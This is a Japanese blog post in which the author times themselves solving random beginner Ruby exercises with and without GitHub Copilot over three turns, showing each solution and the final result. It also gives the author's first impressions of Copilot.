rubyでプログラムで作成できる簡単なプログラムの例題をコードサンプルなしで10問表示して
```
返ってきた回答が以下

1. 1から10までの整数を順に表示するプログラムを作成してください。
2. 1から100までの整数のうち、3の倍数のみを表示するプログラムを作成してください。
3. ユーザーに名前を入力させ、"Hello, [名前]!"と表示するプログラムを作成してください。
4. ユーザーに2つの整数を入力させ、その和を計算して表示するプログラムを作成してください。
5. ユーザーに半径を入力させ、円の面積を計算して表示するプログラムを作成してください（πの値は3.14とします）。
6. 与えられた文字列が回文（前後を逆にしても同じになる）かどうかを判定するプログラムを作成してください。
7. 1から50までの整数の中で、奇数のみを合計して表示するプログラムを作成してください。
8. 1から10までの整数を順に表示するプログラムを作成し、ただし5の倍数のときは代わりに"Buzz"と表示してください。
9. 九九の表（1から9までの数値の掛け算表）を表示するプログラムを作成してください。
10. ユーザーに数値を入力させ、その数値が素数かどうかを判定するプログラムを作成してください。

**②先攻、後攻を決め、以下のプログラム(ruby)で実行し、出た数字に対応する課題をこなす。コードの汚さは無視してとにかく早くコンソール実行して期待した結果が表示されればOKとする。既出の数字が出た場合は再度実行する。**
```ruby
srand Time.now.to_i; rand(1..10);
```
**③3ターン行い、課題に取り組んだ合計時間が短い方が勝利とする。**
# 環境
- Ruby 3.1.2
- エディターはVS Codeを利用

# 1ターン目

## 先攻：私
課題No.：10
記録：3分35秒
検索回数：2回
検索ワード
- ruby コンソールから入力
- ruby 素数かどうかを判定するプログラム

成果物
```ruby
require 'prime'

puts "数字を入れてください"
number = gets

if Prime.prime?(number.to_i)
  puts "素数です"
else
  puts "素数ではありません"
end
```

## 後攻：私 + GitHub Copilot
課題No.：5
記録：50秒
成果物
```ruby
# パラメータを入力する
print "半径を入力してください: "
radius = gets.to_f

# 円の面積を計算する
area = 3.14 * radius * radius

# 計算結果を表示する
puts "半径 #{radius} の円の面積は #{area} です。"
```
※自分である程度考えてから提案される補完を利用してコーディングしました。

# 2ターン目
## 先攻：私
課題No.：7
記録：1分25秒
成果物
```ruby
sum = 0
(1..50).each do |i|
  next if i % 2 == 0
  sum += i
end

puts sum
```
## 後攻：私 + GitHub Copilot
課題No.：8
記録：1分25秒
同様に操作して
成果物
```ruby
(1..5).each do |i|
  if i % 5 == 0
    puts "Buzz"
  else
    puts i
  end
end
```
※自分である程度考えてから提案される補完を利用してコーディングしました。
# 3ターン目
## 先攻：私
課題No.：2
記録：45秒
成果物
```ruby
(1..100).each do |i|
  puts i if i % 3 == 0
end
```
## 後攻：私 + GitHub Copilot
課題No.：9
記録：4分30秒
成果物
```ruby
puts "   1 2 3 4 5 6 7 8 9"
puts "  " + "_" * 20
(1..9).each do |i|
  print "#{i}|"
  (1..9).each do |j|
    print " #{i*j}"
  end 
  puts ""
end
```
※計算結果の出力自体は1分以内にできたのですが、表のレイアウトを整えることに時間を使ってしまいました。

# 結果
私：合計5分45秒
私 + GitHub Copilot：合計6分45秒
私の勝利!!!!とても予想外です。
3ターン目に「私」に簡単な問題が回ってきて、「私 + GitHub Copilot」に少し難しい問題が回ってきてアウトプットの レイアウトにこだわって作ろうとしてしまったことが「私 + GitHub Copilot」の敗因でした。

# 最後に
初めてGitHub Copilotを利用してみましたが、コメントや変数名から何をしたいのかを予想してコードを補完できることに純粋に驚きました。今回はたまたま思うような結果になりませんでしたが、GitHub Copilotに慣れることでより快適にコーディングができるようになると思います。1ヶ月間は無料なのでいろいろ試してみて、手放せなくなりそうなら課金してみたいと思います。